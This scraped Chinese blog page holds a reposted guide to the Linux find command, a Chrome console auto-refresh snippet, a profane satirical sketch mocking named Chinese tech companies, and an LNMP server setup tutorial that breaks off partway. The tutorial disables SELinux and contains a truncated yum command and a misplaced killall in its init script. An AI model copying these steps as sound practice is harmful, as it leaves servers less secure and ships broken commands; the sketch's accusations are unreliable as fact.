Linux Find 命令精通指南(转) Linux

简单介绍这一无处不在的命令的强大的方面以及混乱的方面。

2008 年 7 月发布

Linux find 命令是所有 Linux 命令中最有用的一个,同时也是最混乱的一个。它很难,因为它的语法与其他 Linux 命令的标准语法不同。但是,它很强大,因为它允许您按文件名、文件类型、用户甚至是时间戳查找文件。使用 find 命令,您不但可以找到具这些属性任意组合的文件,还可以对它找到的文件执行操作。

本文的目的是,通过概述 find 命令的用途和潜能,简化该命令的学习和使用。同时,它将针对 find 命令的某些最强大但最混乱的方面提供一个基本的指南和参考。

[注意:本文使用的 find 版本是 GNU 版本,因此,某些细节可能与其他版本的 find 有所不同。]

基本格式

开始之前,我们先来看一下 find 命令的基本结构:

find   start_directory  test  options   criteria_to_match
action_to_perform_on_results

在以下命令中, find 将开始在当前目录(用“.”表示)中查找任何扩展名为“java”的文件:

find . -name  "*.java"  

下面是该命令所找到的命令的缩略清单:

find . -name  "*.java"
./REGEXPvalidate/src/oracle/otnsamples/plsql/ConnectionManager.java
./REGEXPvalidate/src/oracle/otnsamples/plsql/DBManager.java
..

[注意:如果您从本文剪切并粘贴来运行该 find 命令,您可能需要使用自己的键盘替换双引号 (“”) 才能得出正确的结果。]

以下命令将执行相同的操作。在这两种情况下,您都需要对通配符进行转义以确保它传递到 find 命令并且不由 shell 解释。因此,请将您的搜索字符串放到引号里,或者在它前面加上反斜线:

find . -name  \*.java

尽管 find 的所有参数均为可选,但是如果您未指定从哪里开始搜索,搜索默认将在当前目录中开始。如果您不指定要匹配的测试连接、选项或值,您的结果将不完整或者无区别。 
  
运行以下三个 find 命令将得出同样的结果 — 当前目录和所有子目录中的所有文件(包括隐藏文件)的完整清单:

find 
find .
find . -print

这类似于运行一个带 -la 选项的 ls 命令。如果您希望上述命令的输出包含完整的路径名(或许是为了备份),您将需要指定起始目录的完整路径:

find /home/bluher -name \*.java
/home/bluher/plsql/REGEXPvalidate/src/oracle/otnsamples/plsql/ConnectionManager.java
/home/bluher/plsql/REGEXPvalidate/src/oracle/otnsamples/plsql/DBManager.java/
...

您还可以在搜索字符串中指定多个起始目录。如果以具有相应权限的用户身份运行,以下命令将下到 /usr、/home /tmp 目录查找所有 jar 文件:

find /usr /home  /tmp -name "*.jar"

但是,如果您没有相应的权限,您在开始浏览许多系统目录时将生成错误消息。以下是一个示例:

find:  /tmp/orbit-root: Permission denied

您可以通过附加您的搜索字符串来避免混乱的输出,如下所示:

find /usr /home  /tmp -name "*.jar" 2>/dev/null

这会将所有错误消息发送到空文件,因此提供清理器输出。

默认情况下,find 是区分大小写的。对于不区分大小写的 find,将 -iname 测试替换为 -name 测试。

find downloads  -iname "*.gif"
downloads/.xvpics/Calendar05_enlarged.gif
downloads/lcmgcfexsmall.GIF

除文件名外,您还可以按类型搜索文件。例如,您可以使用以下命令查找一个目录中的所有子目录:

find . -type d         

您可以使用以下命令查找您的/usr 目录中的所有符号链接:

find /usr -type l

这可能会列出 3,000 多个链接。以下的任何一个命令使用根权限运行都将列出 /usr 目录中的链接以及它所指向的文件:

# find /usr/bin  -type l  -name "z*" -exec ls  -l {} \;
lrwxrwxrwx 1 root  root 8 Dec 12 23:17 /usr/bin/zsh -> /bin/zsh
lrwxrwxrwx 1 root  root 5 Dec 12 23:17 /usr/bin/zless -> zmore
lrwxrwxrwx 1 root  root 9 Dec 12 23:17 /usr/bin/zcat -> /bin/zcat
find /usr/bin -type  l  -name "z*" -ls

但是,第二个更短的命令将列出更多的文件,以及目录和 inode 信息:在本文后面的部分中,我们将讨论 -exec 和 -ls 操作的用法。

其他 find 可以找到的文件类型包括:

• b — 块(缓存)特殊 
• c — 字符(未缓存)特殊 
• p — 命名管道 (FIFO) 
• s — 套接字

使用根作为 find 命令的起点会极大地降低系统的速度。如果您必须运行这样一个命令,您可以在非高峰时段或晚上运行它。您可以使用以下语法将输出重定向到一个文件:

find  /   -print > masterfilelist.out

如果您错误地输入一个 find 命令,生成大量不必要的输出,只需按 CTRL-C 中断该命令,这将停止最近执行的命令。

在具多个文件系统的企业网络上,限制 find 查找的文件也是一个特别好用的方法。尽可能多地使用选项和测试以减少系统上的负载。用于此目的的两个最有用的选项是 -xdev 和 -mount。它们通过阻止 find 下到其他文件系统(如 MS-DOS、CD-ROM 或 AFS)上的目录中缩短了搜索范围。这将搜索限制为同一类型的文件系统作为起始目录。

如果运行 mount 命令,双引导系统上的用户可以使用这些选项。假设涉及 Windows 分区,您可以使用类似以下的命令安装它:

mount -t vfat  /dev/sda1 /mnt/msdos

您使用的实际命令取决于您的系统设置。您可以通过运行 df 或执行以下命令验证该分区已安装:

find /mnt/msdos  -name "*.txt" 2> /dev/null

您应该看到 MS Windows 分区上列出了很多的文件。现在,运行以下带 -mount 或 -xdev 选项的命令:

find / -name  "*.txt" -mount 2> /dev/null

或者

find / -name  "*.txt" -xdev 2> /dev/null

还可以使用 -fstype 测试明确告知 find 在哪个文件系统中查找,如以下示例中所示:

find / -name  "*.txt" -fstype vfat 2> /dev/null

查找时间

find 命令有几个用于根据您系统的时间戳搜索文件的选项。这些时间戳包括

 mtime  文件内容上次修改时间 
 atime — 文件被读取或访问的时间 
 ctime — 文件状态变化时间

mtime 和 atime 的含义都是很容易理解的,而 ctime 则需要更多的解释。由于 inode 维护着每个文件上的元数据,因此,如果与文件有关的元数据发生变化,则 inode 数据也将变化。这可能是由一系列操作引起的,包括创建到文件的符号链接、更改文件权限或移动了文件等。由于在这些情况下,文件内容不会被读取或修改,因此 mtime 和 atime 不会改变,但 ctime 将发生变化。

这些时间选项都需要与一个值 n 结合使用,指定为 -n、n 或 +n

• -n 返回项小于 n 
• +n 返回项大于 n 
• n 返回项正好与 n 相等

下面,我们来看几个例子,以便于理解。以下命令将查找在最近 1 小时内修改的所有文件:

find . -mtime -1
./plsql/FORALLSample
./plsql/RegExpDNASample
/plsql/RegExpSample

用 1 取代 -1 运行同一命令将查找恰好在 1 小时以前修改的所有文件:

find . -mtime 1

上述命令不会生成任何结果,因为它要求完全吻合。以下命令查找 1 个多小时以前修改的所有文件:

find . -mtime +1

默认情况下,-mtime、-atime 和 -ctime 指的是最近 24 小时。但是,如果它们前面加上了开始时间选项,则 24 小时的周期将从当日的开始时间算起。您还可以使用 mmin、amin 和 cmin 查找在不到 1 小时的时间内变化了的时间戳。

如果您在登录到您的帐户后立即运行以下命令,您将找到在不到 1 分钟以前读取的所有文件:

find . -amin -1
./.bashrc
/.bash_history
./.xauthj5FCx1

应该注意的是,使用 find 命令查找文件本身将更改该文件的访问时间作为其元数据的一部分。

您还可以使用 -newer、-anewer 和 –cnewer 选项查找已修改或访问过的文件与特定的文件比较。这类似于 -mtime、-atime 和 –ctime。 
  
• -newer 指内容最近被修改的文件 
• -anewer 指最近被读取过的文件 
• -cnewer 指状态最近发生变化的文件

要查找您的主目录中自上一个 tar 文件以来以某种方式编辑过的所有文件,使用以下命令:

find . -newer  backup.tar.gz

按大小查找文件

-size 选项查找满足指定的大小条件的文件。要查找所有大于 5MB 的用户文件,使用

find / -size  +5000000c 2> /dev/null
/var/log/lastlog
/var/log/cups/access_log.4
/var/spool/mail/bluher

结尾的“c”以字节为单位报告我们的结果。默认情况下,find 以 512 字节块的数量报告大小。如果我们将“c”替换为“k”,我们还会看到以千字节的数量报告的结果,如果使用“w”,则会看到以两字节字的数量报告的结果。

-size 选项经常用于搜索所有零字节文件并将它们移至 /tmp/zerobyte 文件夹。以下命令恰好可以完成这一任务:

find test -type f  -size 0 -exec mv {} /tmp/zerobyte \;

-exec 操作允许 find 在它遇到的文件上执行任何 shell 命令。在本文的后面部分,您将看到其用法的更多示例。大括号允许移动每个空文件。

选项 -empty 还可用于查找空文件:

find test -empty        
test/foo
test/test

按权限和所有者查找

要监视您的系统安全离不开 find 命令。您可以使用符号或八进制表示法查找面向广大用户开放的文件,如下所示:

find . -type f  -perm a=rwx -exec ls -l {} \;

或者

find . -type f  -perm 777 -exec ls -l {} \;
-rwxrwxrwx 1 bluher  users 0 May 24 14:14 ./test.txt

在这一部分中,在上面和下面的命令中,我们使用了 -exec ls -l 操作,因此,您可以看到返回的文件的实际权限。以下命令将查找可由“other”和组写入的文件:

find plsql -type f  -perm -ug=rw -exec ls -l {} \; 2>/dev/null

或者

find plsql -type f  -perm -220 -exec ls -l {} \; 2>/dev/null 
-rw-rw-rw- 1 bluher users 4303  Jun  7   2004 plsql/FORALLSample/doc/otn_new.css
-rw-rw-rw- 1 bluher users 10286 Jan  12  2005  plsql/FORALLSample/doc/readme.html
-rw-rw-rw- 1 bluher users 22647 Jan  12  2005  plsql/FORALLSample/src/config.sql
..

下一个命令将查找由用户、组或二者共同写入的文件:  

find plsql -type f  -perm /ug=rw -exec ls -l {} \; 2>/dev/null, or,
find plsql -type f  -perm /220 -exec ls -l {} \; 2>/dev/null 
-rw-r--r-- 1 bluher users 21473  May  3 16:02 plsql/regexpvalidate.zip
-rw-rw-rw- 1 bluher users 4303  Jun  7   2004 plsql/FORALLSample/doc/otn_new.css
-rw-rw-rw- 1 bluher users 10286 Jan  12  2005  plsql/FORALLSample/doc/readme.html
-rw-rw-rw- 1 bluher users 22647 Jan  12  2005  plsql/FORALLSample/src/config.sql

您可能会看到以下命令在 Web 和较早的手册中引用过:

find . -perm +220  -exec ls -l {} \; 2> /dev/null

+ 符号的作用与 / 符号相同,但是现在新版 GNU findutils 中不支持使用该符号。

要查找您的系统上所有人都可以写入的所有文件,使用以下命令:

find / -wholename  '/proc' -prune  -o  -type f -perm -0002 -exec ls -l {} \;
-rw-rw-rw- 1 bluher users 4303  Jun  7   2004/home/bluher/plsql/FORALLSample/doc/otn_new.css
-rw-rw-rw- 1 bluher users 10286 Jan  12  2005  /home/bluher/plsql/FORALLSample/doc/readme.html
...

第 4 个权限将在稍后进行讨论,但最后一个字段中的“2”是文件权限中的“other”字段,也称为写入位。我们在权限模式 0002 前面使用了破折号,以指明我们希望看到为 other 设置了写权限的文件,无论其他权限设置为什么。

上述命令还引入了三个新概念。针对文件模式“/proc”使用 -wholename 测试,如果该模式已找到,-prune 可防止 find 下到该目录中。布尔类型“-o”使 find 可以针对其他目录处理该命令的其余部分。由于每个表达式之间有一个假设的隐式 and 运算符 (-a),因此,如果左侧的表达式计算结果为 false, and 之后的表达式将不进行计算;因此需要 -o 运算符。Find 还支持布尔类型 -not、!,就像使用括号强行优先一样。

系统管理员经常使用 find 通过用户或组的名称或 ID 搜索特定用户或组的常规文件:

[root] $  find / -type f -user bluher -exec ls -ls {}  \;

下面是这样一个命令的高度精简的输出示例:

4 -rw-r--r-- 1 bluher users 48  May  1 03:09  /home/bluher/public_html/.directory
4 -rw-r--r-- 1 bluher users 925  May  1 03:09 /home/bluher/.profile

您还可以使用 find 按组查找文件:

[root] $ find /  -type f -group users
find / -type d -gid  100

该命令将列出由 ID 为 100 的组拥有的目录。要找到相应的 uid 或 gid,您可以针对 /etc/passwd 或 /etc/group 文件运行 more 或 cat 命令。

除了查找特定已知用户和组的文件外,您还会发现它对于查找没有这些信息的文件也很有用。下一个命令将识别未列在 /etc/passwd 或 /etc/group 文件中的文件:

find / -nouser -o  -nogroup

上述命令可能不会在您的系统上生成实际的结果。但是,它可用于识别或许在经常移动后没有用户或组的文件。

好了,现在我们可以解决本部分开始时提到的格外重要的权限了。

SGID 和 SUID 是特殊访问权限标志,可以分配给基于 UNIX 的操作系统上的文件和目录。设置它们是为了允许访问计算机系统的普通用户使用临时提升的权限执行二进制可执行文件。

find /  \( -perm -2000 -o -perm -4000 \) -ls
167901   12 -rwsr-xr-x   1 root     root         9340 Jun 16  2006 /usr/bin/rsh
167334   12 -rwxr-sr-x   1 root     tty         10532 May  4  2007 /usr/bin/wall

在上述命令中,您可以看到转义括号的使用。您还可以看到权限的不同。第一个文件设置了 SGID 权限,第二个文件设置了 SUID 权限。上述命令中的最后的操作与带 -exec ls -dils 操作的 find 效果类似。

控制 find

与 Linux 中的许多命令不同,find 不需要 -r 或 -R 选项即可下到子目录中。它默认情况下就这样操作。但是,有时您可能希望限制这一行为。因此,选项 -depth、-maxdepth 和 -mindepth 以及操作 -prune 就派上用场了。

我们已经看到了 -prune 是多么有用,下面让我们来看看 -depth、-maxdepth 和 -mindepth 选项。

-maxdepth 和 -mindepth 选项允许您指定您希望 find 搜索深入到目录树的哪一级别。如果您希望 find 只在目录的一个级别中查找,您可以使用 maxdepth 选项。

通过运行以下命令在目录树的前三个级别中查找日志文件,您可以看到 -maxdepth 的效果。使用该选项较之不使用该选项所生成的输出要少得多。

find / -maxdepth 3  -name "*log"

您还可以让 find 在至少下至目录树三个级别的目录中查找:

find / -mindepth 3  -name "*log"

-depth 选项确保先在一个目录中进行查找,然后才在其子目录中进行查找。以下命令提供了一个示例:

find -name "*test*" -depth
./test/test
./test
./localbin/test
./localbin/test_shell_var
./localbin/test.txt
./test2/test/test
./test2/test
./test2

find 世界

我们已经看过了 find 命令的一些更加有用以及有点难懂的功能,但是 find 还可以执行更多的任务。例如,有多个选项可以使 find 与较低的 UNIX 版本和其他操作系统相兼容并允许您执行打印输出到多个文件等操作。阅读本文后,您现在已经有了理解 find 参考指南的背景,我鼓励您深入研究这一强大、有用的工具。

原文:http://www.oracle.com/technetwork/cn/topics/calish-find-096463-zhs.html

标签: 分享 Linux find

admin 发布于  2017-3-17 17:08 

利用chrome的console控制台自动刷新网页 杂七杂八

timeout=prompt("Set timeout ");
current=location.href;
if(timeout>0)
setTimeout('reload()',1000*timeout);
else
location.replace(current);
function reload(){
setTimeout('reload()',1000*timeout);
fr4me='<frameset cols=\'*\'>\n<frame src=\''+current+'\'/>';
fr4me+='</frameset>';
with(document){write(fr4me);void(close())};
}



利用chrome的console控制台自动刷新网页,偶尔需要这个功能,不需要使用插件,太臃肿...


admin 发布于  2017-3-16 14:18 

314互联网造假大会,在315前夕顺利召开 杂七杂八

今日开炮  在座各位互联网公司

话题领域  虚假信息/数据/营销等


互联网洋葱日报今天为您播报315前夕,纯属虚构的314互联网造价大会,下面请看前方记者发来的实时文字直播。



PART 1

开幕



腾讯:各位亲爱的同行们!

百度:各位亲爱的网友们!大家——
腾讯、百度:晚上好!



腾讯想来我已经是第二十年主持这场行业盛会了,真是受之愧啊!

百度:今年我则以杀人不偿命的优异表现,临时代替了前辈淘宝的主持人工作,还望腾讯多多指点!

腾讯:哪里哪里,现在后生可畏啊!

百度:不敢不敢,您这两天不是才上线“腾讯优品”嘛!台下的网易,我叫你一声你敢答应吗?



腾讯:今年啊,我们的活动要迎接新的科技浪潮。

百度:没错,映客直播将全力支持本次大会。

腾讯:确保有超过26亿中国人同时在线观看。



PART 2

节目:绕口令



腾讯:那么一如既往,我给大家暖暖场。

百度:哦?您带来了什么节目?

腾讯:给大家说一段绕口令《我的发家史》

百度:鼓掌!



腾讯:当里个当,当里个当,腾讯产品怎么样?今天给你讲一讲,二十年来那辉煌,全都要靠抄得爽……


QICQ抄ICQ;腾讯游戏平台抄联众游戏平台;QQ音乐抄酷狗音乐;搜吧抄百度贴吧;QQ网购抄淘宝;腾讯CF抄CS;QQ飞车抄跑跑卡丁车;QQ直播抄PPLive;QQ医生抄360;QQ软件管理抄360管家;QQ旋风抄网际快车;QQ输入法抄搜狗输入法;QQ影音抄暴风影音;soso 问问抄百度知道;QQ浏览器抄遨游浏览器;QQ词典抄金山词霸;腾讯微博抄新浪微博;QQ校友抄人人网;QQ网址导航抄好123;QQ对战平台抄浩方;QQ堂抄泡泡堂;QQ三国抄冒险岛;QQ西游抄梦幻西游;QQ炫舞抄劲舞团;QQ寻仙抄诛仙;植物精灵大战格格巫抄植物大战僵尸;抢车位抄争车位;QQ农场抄开心农场;QQ鱼塘抄欢乐鱼塘……最重要的当然是微信抄……



百度:且慢,微信抄了谁我们稍后揭晓!


PART 3

颁奖:最佳PPT设计奖



腾讯:好,那我们进入颁奖环节。

百度:首先请看大屏幕!今天屏幕上的PPT就是由我们的第一位大奖得主设计的。

腾讯:有请法拉第未来和易到用车两位颁奖人上台。



法拉第未来:他为梦想窒息!

易到用车:他为套现疯狂!

法拉第未来、易到用车:他就是我们资金链濒临断裂的第一推手!
法拉第未来:他就是世界上最伟大的PPT设计师——
易到用车:乐视先生!



乐视:谢谢!谢谢大家!特别谢谢台下长江商学院的各位同学,以及在会场外摇旗呐喊的供应商们。当然我最要感谢的是台下的乐视会员们,请大声告诉我你们的心声好吗?

台下乐视会员:乐事薯片我操你妈!退钱!

乐视:还有呢?
台下乐视会员:亚冠我操你妈!退钱!
乐视:好的,谢谢大家!我先去房产中介了,大家吃好喝好!



PART 4

颁奖:杀人无形奖



腾讯:下面这个奖项要颁给我今天的搭档。

百度:没错就是我。

腾讯:有请莆田系作为颁奖人上台。



莆田系:曾经有一位叫“魏则西”的年轻人站在我面前,问我滑膜肉瘤病能不能治。当时我就念了两句诗,叫“百度一下,你就知道!”。



百度:所以这个奖项,我从内心深处也要颁给我的好基友莆田系么么哒!

腾讯:让我们为这样坚实的友谊鼓掌!

百度:您和搜狗的友谊也值得称赞呐!您看当初《搜狗名医上线》的时候,说得多么冠冕堂皇啊!现在看,前两天我们因为虚假医疗信息被上海市工商局罚了2万巨款,他们被罚了1万巨款,紧随其后让我都有压力啊!

腾讯:年轻人嘛!放手一搏!我先预付工商局100万罚款好了!



PART 5

颁奖:能说会道奖



腾讯:其实说到生死这个话题啊,我觉得高手在民间。

百度:可不是嘛,接下来这个奖就要颁给一个深圳人。

腾讯:有请小铜人P2P上台为罗尔颁奖。



小铜人:有人把这次事件定性为营销,我不敢苟同。这是一个父亲用文字倾吐最深刻的慈爱,这是一个男人用智慧承担最沉重的责任,这是一个作家用能力换取最正义的回报,这是一个P2P公司用策略实现最成功的转化……

罗尔:谢谢!可以闭嘴了。谢谢小铜人的慷慨陈词!谢谢我女儿罗一笑!我的新书已经发布了!请大家多多支持!很快我就能在深圳买更多房!



腾讯:当然,这件事也离不开我们的大力支持。

百度:是的,被明令禁止的宗教色彩募捐能发展到这个程度,要多感谢腾讯的装聋作哑。



中场表演

魔术:携程在手



携程:为大家表演“携程在手,说不走就不走。”的节目,请大家用热情的“操你妈”为我加油!


(哔——)


PART 6

颁奖:过河拆桥奖



腾讯:然后这个奖项呢,我个人也是非常自豪的。

百度:噢?怎么说?

腾讯:这就让现在假的优步上台,给滴滴出行朗读颁奖词吧。



优步:Hi everybody, I'm youbu. 作为一家 international 的企业,I 完全 show respect for didi.他们太 dick 了,太 smart 了,我肛不过他们。By the way,我们的 team 都是实习生组成的,毕竟 have no time to play with didi.  So, 补贴形式 is over. 让我们重归于good, 兼并!合作!together 涨价!


滴滴出行:Absofuckinglutely,去你妈的优惠,去你妈的抵用。我们就是出租车溢价调度平台,我们的最终使命是让老年人打不到车,消灭老年人,消灭老龄化!



腾讯:Oh my God 多么崇高的理想多么远见的运营思维啊!

百度:佩服佩服,回头自动驾驶多多合作!

滴滴出行:额……



PART 7

颁奖:最佳新人奖



腾讯:这个奖项啊,头一回出现两家公司来领。

百度:不是吧!

腾讯:事情是这样的,共享担车现在不是很火嘛!这两家公司表现其实都不错,目前都说自己是市场第一。

百度:这个确实不好讲,毕竟你说按保证金吸收量算还是车辆规模算呢?

腾讯:所以都要多多鼓励,你看摩拜单车都已经进工商局企业异常名录了。

百度:那两位就互相颁奖吧!



摩拜单车:我们第一,服不服!

ofo:我们第一,服不服!

台下小鸣单车:我们第二,服不服!

台下优拜单车:我们第二,服不服!

台下卡拉单车:操你妈的莆田人!



PART 8

颁奖:专业碰瓷奖



腾讯:哎,我说百度啊,去年的苹果发布会你看了没?

百度:看了看了,肾7嘛不是。

腾讯:所以接下来的这个奖项得奖的人还真不少。

百度:是吗?

腾讯:你看,发布会那天乐视说苹果抄袭他们取消3.5毫米耳机接口,魅族说摄像头比他们凸出……哪像一加手机那个傻逼,还出来辟谣。

百度:那这个奖应该颁给所有中国做手机的厂商!中国制造万岁!



游戏

傻逼才玩:支付宝红包



支付宝:真的,玩过以后你们都会想“以后傻逼才玩呢!”,但我会保证你们明年接着玩!今天我们发明了音量红包,同样请大家用热情的“操你妈”抢起来吧!


(哔——)



PART 9

颁奖:以假乱真奖



腾讯:压轴这个行业技术大奖堪称重量级。

百度:必须的,它要经过时间的历练。

腾讯:有什么产品能让所有用户都以为是原创,但是其实是抄袭的呢?

百度:其实就是——微信!



腾讯:我说小米啊,11年时候你们“米聊”才起步了两个月,我们就跟上了。有我大QQ用户量在,我干什么不行?当然我干手机可能不行。

小米:呵呵。



PART 10

落幕



腾讯:今天的大会就要临近尾声了。

百度:感谢在场各位粉丝们的热情支持。

腾讯:最后麻烦新浪同学操作一下,把现场的僵尸观众都清退吧。

新浪:好的没问题。

腾讯:祝大家晚安!

百度:晚安!明年再见!

标签: 分享

admin 发布于  2017-3-16 10:54 

搭建 nginx + mysql + php-fpm 环境(CentOS 6) Linux

前言:这几天帮朋友部署一个项目,一开始为了方便,(我懒-_-|),使用一键lanmp脚本部署,结果项目测试的时候bug一大堆...,声明:这不是说这些一键脚本不好,客观的来说,这些脚本用来建站,普通的单纯的站,一般没问题的,也很方便,但是部署项目,如果对这个脚本不是特别了解,特别了解,特别了解!重要的是说三遍...千万不要用,老实的手动部署环境吧....于是本想写一篇的,但是发现有人写了...就转载过来,存着当笔记吧.


本文档介绍如何使用一台普通配置的云服务器ECS实例搭建LNMP平台的web环境。

  • Linux:自由和开放源码的类UNIX操作系统。
  • Nginx:轻量级网页服务器、反向代理服务器。
  • MySQL:关系型数据库管理系统。
  • PHP:主要适用于Web开发领域的一种脚本语言。

适用对象

适用于熟悉Linux操作系统,刚开始使用阿里云进行建站的个人用户。

基本流程

使用云服务器 ECS 搭建LNMP平台的操作步骤如下:

  1. 准备编译环境
  2. 安装nginx
  3. 安装mysql
  4. 安装php-fpm
  5. 测试访问

步骤一:准备编译环境

1、系统版本说明

# cat /etc/redhat-release 
CentOS release 6.5 (Final)

注:这是本文档实施时参考的系统版本。您的实际使用版本可能与此不同,下文中的nginx,mysql,及php版本,您也可以根据实际情况选择相应版本。

2、关闭SELINUX

修改配置文件,重启服务后永久生效。

# sed -i 's/SELINUX=.*/SELINUX=disabled/g' /etc/selinux/config

命令行设置立即生效。

# setenforce 0

3、安全组设置

在ECS安全组放行需访问的端口和访问白名单,下面的示例表示允许所有IP访问服务器的80端口。您可以根据实际情况放行允许访问的客户端IP。

图片1

步骤二:安装nginx

Nginx是一个小巧而高效的Linux下的Web服务器软件,是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,已经在一些俄罗斯的大型网站上运行多年,目前很多国内外的门户网站、行业网站也都在是使用Nginx,相当稳定。

1、下载源码包解压编译。

# wget http://nginx.org/download/nginx-1.10.2.tar.gz
# tar xvf nginx-1.10.2.tar.gz -C /usr/local/src
# yum groupinstall "Development too
# yum -y install gcc wget gcc-c++ automake autoconf libtool libxml2-devel libxslt-devel perl-devel perl-ExtUtils-Embed pcre-devel openssl-devel
# cd /usr/local/src/nginx-1.10.2
# ./configure \
--prefix=/usr/local/nginx \
--sbin-path=/usr/sbin/nginx \
--conf-path=/etc/nginx/nginx.conf \
--error-log-path=/var/log/nginx/error.log \
--http-log-path=/var/log/nginx/access.log \
--pid-path=/var/run/nginx.pid \
--lock-path=/var/run/nginx.lock \
--http-client-body-temp-path=/var/tmp/nginx/client \
--http-proxy-temp-path=/var/tmp/nginx/proxy \
--http-fastcgi-temp-path=/var/tmp/nginx/fcgi \
--http-uwsgi-temp-path=/var/tmp/nginx/uwsgi \
--http-scgi-temp-path=/var/tmp/nginx/scgi \
--user=nginx \
--group=nginx \
--with-pcre \
--with-http_v2_module \
--with-http_ssl_module \
--with-http_realip_module \
--with-http_addition_module \
--with-http_sub_module \
--with-http_dav_module \
--with-http_flv_module \
--with-http_mp4_module \
--with-http_gunzip_module \
--with-http_gzip_static_module \
--with-http_random_index_module \
--with-http_secure_link_module \
--with-http_stub_status_module \
--with-http_auth_request_module \
--with-mail \
--with-mail_ssl_module \
--with-file-aio \
--with-ipv6 \
--with-http_v2_module \
--with-threads \
--with-stream \
--with-stream_ssl_module
# make && make install
# mkdir -pv /var/tmp/nginx/client
2、添加SysV启动脚本。
# vim /etc/init.d/nginx
#!/bin/sh 
# 
# nginx - this script starts and stops the nginx daemon 
# 
# chkconfig:   - 85 15 
# description: Nginx is an HTTP(S) server, HTTP(S) reverse \ 
#               proxy and IMAP/POP3 proxy server 
# processname: nginx 
# config:      /etc/nginx/nginx.conf 
# config:      /etc/sysconfig/nginx 
# pidfile:     /var/run/nginx.pid 
# Source function library. 
. /etc/rc.d/init.d/functions
# Source networking configuration. 
. /etc/sysconfig/network
# Check that networking is up. 
[ "$NETWORKING" = "no" ] && exit 0
nginx="/usr/sbin/nginx"
prog=$(basename $nginx)
NGINX_CONF_FILE="/etc/nginx/nginx.conf"
[ -f /etc/sysconfig/nginx ] && . /etc/sysconfig/nginx
lockfile=/var/lock/subsys/nginx
start() {
    [ -x $nginx ] || exit 5
    [ -f $NGINX_CONF_FILE ] || exit 6
    echo -n $"Starting $prog: " 
    daemon $nginx -c $NGINX_CONF_FILE
    retval=$?
    echo 
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}
stop() {
    echo -n $"Stopping $prog: " 
    killproc $prog -QUIT
    retval=$?
    echo 
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
killall -9 nginx
}
restart() {
    configtest || return $?
    stop
    sleep 1
    start
}
reload() {
    configtest || return $?
    echo -n $"Reloading $prog: " 
    killproc $nginx -HUP
RETVAL=$?
    echo 
}
force_reload() {
    restart
}
configtest() {
$nginx -t -c $NGINX_CONF_FILE
}
rh_status() {
    status $prog
}
rh_status_q() {
    rh_status >/dev/null 2>&1
}
case "$1" in
    start)
        rh_status_q && exit 0
    $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    restart|configtest)
        $1
        ;;
    reload)
        rh_status_q || exit 7
        $1
        ;;
    force-reload)
        force_reload
        ;;
    status)
        rh_status
        ;;
    condrestart|try-restart)
        rh_status_q || exit 0
            ;;
    *)
      echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload|configtest}" 
        exit 2
esac
3、赋予脚本执行权限。

# chmod +x /etc/init.d/nginx

4、添加至服务管理列表,设置开机自启。

# chkconfig --add nginx
# chkconfig  nginx on
5、启动服务。

# service nginx start

6、浏览器访问可看到默认欢迎页面。图片2

步骤三:安装mysql

1、准备编译环境。

# yum groupinstall "Server Platform Development"  "Development tools" -y
# yum install cmake -y
2、准备mysql数据存放目录。
# mkdir /mnt/data
# groupadd -r mysql
# useradd -r -g mysql -s /sbin/nologin mysql
# id mysql
uid=497(mysql) gid=498(mysql) groups=498(mysql)
3、更改数据目录属主属组。

# chown -R mysql:mysql /mnt/data

4、解压编译官网下载稳定版的源码包。

# tar xvf mysql-5.6.24.tar.gz -C  /usr/local/src
# cd /usr/local/src/mysql-5.6.24
# cmake . -DCMAKE_INSTALL_PREFIX=/usr/local/mysql \
-DMYSQL_DATADIR=/mnt/data \
-DSYSCONFDIR=/etc \
-DWITH_INNOBASE_STORAGE_ENGINE=1 \
-DWITH_ARCHIVE_STORAGE_ENGINE=1 \
-DWITH_BLACKHOLE_STORAGE_ENGINE=1 \
-DWITH_READLINE=1 \
-DWITH_SSL=system \
-DWITH_ZLIB=system \
-DWITH_LIBWRAP=0 \
-DMYSQL_TCP_PORT=3306 \
-DMYSQL_UNIX_ADDR=/tmp/mysql.sock \
-DDEFAULT_CHARSET=utf8 \
-DDEFAULT_COLLATION=utf8_general_ci
# make && make install
5、修改安装目录的属组为mysql。

# chown -R mysql:mysql /usr/local/mysql/

6、初始化数据库。

# /usr/local/mysql/scripts/mysql_install_db --user=mysql --datadir=/mnt/data/

注:在CentOS 6.5版操作系统的最小安装完成后,在/etc目录下会存在一个my.cnf,需要将此文件更名为其他的名字,如:/etc/my.cnf.bak,否则,该文件会干扰源码安装的MySQL的正确配置,造成无法启动。

7、拷贝配置文件和启动脚本。

# cp /usr/local/mysql/support-files/mysql.server /etc/init.d/mysqld
# chmod +x /etc/init.d/mysqld
# cp support-files/my-default.cnf /etc/my.cnf
8、设置开机自动启动。
# chkconfig mysqld  on 
# chkconfig --add mysqld
9、修改配置文件中的安装路径及数据目录存放路径。

# echo -e "basedir = /usr/local/mysql\ndatadir = /mnt/data\n" >> /etc/my.cnf

10、设置PATH环境变量。

# echo "export PATH=$PATH:/usr/local/mysql/bin" > /etc/profile.d/mysql.sh      
# source /etc/profile.d/mysql.sh
11、启动服务。
# service mysqld start 
# mysql -h 127.0.0.1
步骤四:安装php-fpm

Nginx本身不能处理PHP,作为web服务器,当它接收到请求后,不支持对外部程序的直接调用或者解析,必须通过FastCGI进行调用。如果是PHP请求,则交给PHP解释器处理,并把结果返回给客户端。PHP-FPM是支持解析php的一个FastCGI进程管理器。提供了更好管理PHP进程的方式,可以有效控制内存和进程、可以平滑重载PHP配置。

1、安装依赖包。

# yum groupinstall "X Software Development"
# yum install libmcrypt libmcrypt-devel mhash mhash-devel libxml2 libxml2-devel bzip2 bzip2-devel
2、解压官网下载的源码包,编译安装。
# tar xvf php-5.6.23.tar.bz2 -C /usr/local/src
# cd /usr/local/src/php-5.6.23
# ./configure --prefix=/usr/local/php \
--with-config-file-scan-dir=/etc/php.d \
--with-config-file-path=/etc \
--with-mysql=/usr/local/mysql \
--with-mysqli=/usr/local/mysql/bin/mysql_config \
--enable-mbstring \
--with-freetype-dir \
--with-jpeg-dir \
--with-png-dir \
--with-zlib \
--with-libxml-dir=/usr \
--with-openssl \
-enable-xml \
--enable-sockets \
--enable-fpm \
--with-mcrypt \
--with-bz2
# make && make install
3、添加php和php-fpm配置文件。
